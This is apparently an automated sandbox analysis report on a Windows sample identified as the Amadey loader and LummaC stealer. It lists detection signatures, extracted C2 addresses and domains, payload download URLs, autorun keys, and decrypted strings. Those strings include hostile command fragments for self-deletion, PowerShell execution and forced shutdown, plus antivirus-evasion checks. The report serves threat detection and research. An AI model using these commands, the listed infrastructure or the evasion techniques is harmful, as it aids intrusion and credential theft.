Windows Analysis Report
random.exe

Overview

General Information

Sample name: random.exe
Analysis ID: 1613638
MD5: 623ff98b05fd32756b66a4302e8db1f4
SHA1: 035f55b3fa287ffdd00c9458fe579985f86ab0af
SHA256: 36b9add594a4567786f897af4446dd80955572a45254502ab57c820b52022185
Tags: 9c9aa5Amadeyexeuser-aachum
Infos:

Detection

Amadey, LummaC Stealer
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Amadey
Yara detected Amadeys stealer DLL
Yara detected LummaC Stealer
C2 URLs / IPs found in malware configuration
Creates multiple autostart registry keys
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Joe Sandbox ML detected suspicious sample
PE file contains section with special chars
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to launch a program with higher privileges
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
PE file overlay found
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: random.exe Avira: detected
Antivirus detection for URL or domain
Source: http://185.215.113.75/files/7343830477/TaVOM7x.exe Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/apisn Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/apidata% Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/api;9 Avira URL Cloud: Label: malware
Source: https://importenptoc.com/at Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/api Avira URL Cloud: Label: malware
Source: https://importenptoc.com/=C Avira URL Cloud: Label: malware
Source: https://importenptoc.com/ Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/api;: Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/apiG Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou:443/api;? Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/PW Avira URL Cloud: Label: malware
Source: http://185.215.113.75/files/6998335837/949wScO.exe Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou Avira URL Cloud: Label: malware
Source: https://importenptoc.com/SG Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/ Avira URL Cloud: Label: malware
Source: http://185.215.113.75/files/6158422886/r7MRNUY.exe Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou:443/api Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/apit Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/;? Avira URL Cloud: Label: malware
Source: https://importenptoc.com/api_s Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/apiero Avira URL Cloud: Label: malware
Source: https://importenptoc.com/apif Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/te;9 Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/W Avira URL Cloud: Label: malware
Source: https://soulfulimusic.cyou/V Avira URL Cloud: Label: malware
Source: soulfulimusic.cyou Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\TaVOM7x[1].exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1076858001\TaVOM7x.exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\DTQCxXZ[1].exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\KbSwZup[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\949wScO[1].exe Avira: detection malicious, Label: TR/ATRAPS.Gen
Found malware configuration
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp Malware Configuration Extractor: LummaC {"C2 url": ["soulfulimusic.cyou", "importenptoc.com", "voicesharped.com", "inputrreparnt.com", "torpdidebar.com", "rebeldettern.com", "actiothreaz.com", "garulouscuto.com", "breedertremnd.com"], "Build id": "vyHxTw--"}
Multi AV Scanner detection for dropped file
Source: C:\QZXDK\pythiksdaw.exe ReversingLabs: Detection: 43%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\KbSwZup[1].exe ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\TaVOM7x[1].exe ReversingLabs: Detection: 16%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\OvLh8V8[1].exe ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\pythiksdaw[1].exe ReversingLabs: Detection: 43%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\949wScO[1].exe ReversingLabs: Detection: 48%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\DTQCxXZ[1].exe ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\1076700001\KbSwZup.exe ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Temp\1076828001\949wScO.exe ReversingLabs: Detection: 48%
Source: C:\Users\user\AppData\Local\Temp\1076858001\TaVOM7x.exe ReversingLabs: Detection: 16%
Source: C:\Users\user\AppData\Local\Temp\1076878001\OvLh8V8.exe ReversingLabs: Detection: 18%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe ReversingLabs: Detection: 64%
Multi AV Scanner detection for submitted file
Source: random.exe Virustotal: Detection: 62% Perma Link
Source: random.exe ReversingLabs: Detection: 64%
Joe Sandbox ML detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Sample uses string decryption to hide its real strings
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: 185.215.113.43
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: /Zu7JuNko/index.php
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: S-%lu-
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: abc3bc1985
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: skotes.exe
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Startup
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: cmd /C RMDIR /s/q
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: rundll32
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Programs
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: %USERPROFILE%
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: cred.dll|clip.dll|
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: cred.dll
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: clip.dll
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: http://
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: https://
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: /quiet
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: /Plugins/
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: &unit=
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: shell32.dll
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: kernel32.dll
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: GetNativeSystemInfo
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: ProgramData\
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: AVAST Software
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Kaspersky Lab
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Panda Security
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Doctor Web
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: 360TotalSecurity
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Bitdefender
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Norton
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Sophos
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Comodo
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: WinDefender
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: 0123456789
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: ------
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: ?scr=1
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: ComputerName
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: -unicode-
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: SYSTEM\ControlSet001\Services\BasicDisplay\Video
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: VideoID
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: DefaultSettings.XResolution
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: DefaultSettings.YResolution
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: ProductName
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: CurrentBuild
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: rundll32.exe
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: "taskkill /f /im "
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: " && timeout 1 && del
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: && Exit"
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: " && ren
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: Powershell.exe
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: -executionpolicy remotesigned -File "
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: shutdown -s -t 0
Source: 00000001.00000002.1800674937.0000000000C81000.00000040.00000001.01000000.00000007.sdmp String decryptor: random
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp String decryptor: soulfulimusic.cyou
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp String decryptor: importenptoc.com
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp String decryptor: voicesharped.com
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp String decryptor: inputrreparnt.com
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp String decryptor: torpdidebar.com
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp String decryptor: rebeldettern.com
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp String decryptor: actiothreaz.com
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp String decryptor: garulouscuto.com
Source: 0000003C.00000002.2775753082.0000000000821000.00000040.00000001.01000000.0000000F.sdmp String decryptor: breedertremnd.com
Uses 32bit PE files
Source: random.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49946 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49966 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49967 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49981 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:49994 version: TLS 1.2
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:50015 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.4:50028 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50035 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:50036 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50037 version: TLS 1.2
Source: unknown HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.74.51:443 -> 192.168.2.4:50042 version: TLS 1.2
Source: Binary string: wextract.pdb source: 2aydDCz.exe, 00000007.00000000.2360982085.00007FF607FA9000.00000002.00000001.01000000.00000009.sdmp, 2aydDCz.exe, 00000007.00000002.2479879235.00007FF607FA9000.00000002.00000001.01000000.00000009.sdmp, 2aydDCz.exe.6.dr, 2aydDCz[1].exe.6.dr
Source: Binary string: C:\Users\Administrator\source\repos\pockchaewq\x64\Release\pockchaewq.pdb6 source: wYfLzVg.exe, 0000002D.00000000.2492195958.00007FF788011000.00000002.00000001.01000000.0000000E.sdmp, wYfLzVg.exe, 0000002D.00000002.2721535489.00007FF788011000.00000002.00000001.01000000.0000000E.sdmp, wYfLzVg[1].exe.6.dr
Source: Binary string: wextract.pdbGCTL source: 2aydDCz.exe, 00000007.00000000.2360982085.00007FF607FA9000.00000002.00000001.01000000.00000009.sdmp, 2aydDCz.exe, 00000007.00000002.2479879235.00007FF607FA9000.00000002.00000001.01000000.00000009.sdmp, 2aydDCz.exe.6.dr, 2aydDCz[1].exe.6.dr
Source: Binary string: Acquire.pdb source: 949wScO.exe, 0000003D.00000000.2592875615.0000000000402000.00000002.00000001.01000000.00000010.sdmp, 949wScO.exe, 0000003D.00000002.2769905025.00000000037E9000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\mscorlib.pdb source: 949wScO.exe, 0000003D.00000002.2763118469.00000000008E1000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: 949wScO.exe, 0000003D.00000002.2763118469.000000000088C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Users\user\AppData\Local\Temp\1076828001\949wScO.PDBes source: 949wScO.exe, 0000003D.00000002.2763118469.00000000008A3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\mscorlib.pdb8g;'= source: 949wScO.exe, 0000003D.00000002.2763118469.00000000008A3000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\source\repos\pockchaewq\x64\Release\pockchaewq.pdb source: wYfLzVg.exe, 0000002D.00000000.2492195958.00007FF788011000.00000002.00000001.01000000.0000000E.sdmp, wYfLzVg.exe, 0000002D.00000002.2721535489.00007FF788011000.00000002.00000001.01000000.0000000E.sdmp, wYfLzVg[1].exe.6.dr
Source: Binary string: \??\C:\Windows\mscorlib.pdb source: 949wScO.exe, 0000003D.00000002.2763118469.00000000008A3000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\AppData\Local\Temp\1076698001\wYfLzVg.exe Code function: 45_2_00007FF78800446C FindFirstFileExW, 45_2_00007FF78800446C
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Local\Microsoft\WindowsApps\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe File opened: C:\Users\user\
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov word ptr [ecx], dx 19_2_001336B9
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov ecx, eax 19_2_00133EA7
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov byte ptr [ebx], cl 19_2_00121800
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp byte ptr [edi+eax+01h], 00000000h 19_2_0011D831
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov ebx, ecx 19_2_000FF060
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov esi, eax 19_2_0010A8BA
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx esi, byte ptr [esp+ecx+16h] 19_2_000FC920
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov word ptr [ebx], cx 19_2_00116150
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx esi, byte ptr [esp+ecx+0Ch] 19_2_0012E150
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov edx, ecx 19_2_0012E150
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then lea edi, dword ptr [esi+esi] 19_2_0012314D
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx eax, byte ptr [ecx+esi] 19_2_00119970
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov ecx, eax 19_2_0011B175
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then push eax 19_2_001331FF
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh 19_2_000F19E0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then push esi 19_2_00109A00
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then jmp eax 19_2_00109A00
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp word ptr [esi+eax], 0000h 19_2_00109A00
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov byte ptr [edi], al 19_2_0010FA3E
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 19_2_0012B250
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h] 19_2_000FA240
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx ecx, word ptr [edi+esi*4] 19_2_000FA240
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h 19_2_00120A40
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+759F8BA2h] 19_2_00134280
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp word ptr [ebp+eax+00h], 0000h 19_2_00110AB0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then lea edi, dword ptr [esi+esi] 19_2_001230DC
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp dword ptr [edx+ecx*8], 089E115Eh 19_2_00135B00
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx edi, byte ptr [esp+eax+0C61266Ch] 19_2_00135B00
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx ebx, byte ptr [eax+edx] 19_2_00113340
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movsx edx, byte ptr [esi+eax] 19_2_00108B60
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx ebx, byte ptr [esp+edx+06h] 19_2_000FE380
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov eax, ebx 19_2_000FFB9E
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov byte ptr [edi], al 19_2_00121B80
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov ecx, eax 19_2_000FDB91
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then movzx esi, byte ptr [esp+ecx+2F3FA6E8h] 19_2_00131BA0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 2C1F0655h 19_2_00131BA0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then push esi 19_2_0011B3D3
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov byte ptr [edi], al 19_2_00121BD1
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov ecx, eax 19_2_0010F3C0
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then mov byte ptr [edi], al 19_2_00121BCF
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 2C331E1Fh 19_2_00108C20
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then jmp eax 19_2_00108C20
Source: C:\Users\user\AppData\Local\Temp\1076269001\DTQCxXZ.exe Code function: 4x nop then cmp dword ptr [edi+edx*8], E40A7173h 19_2_00108C20
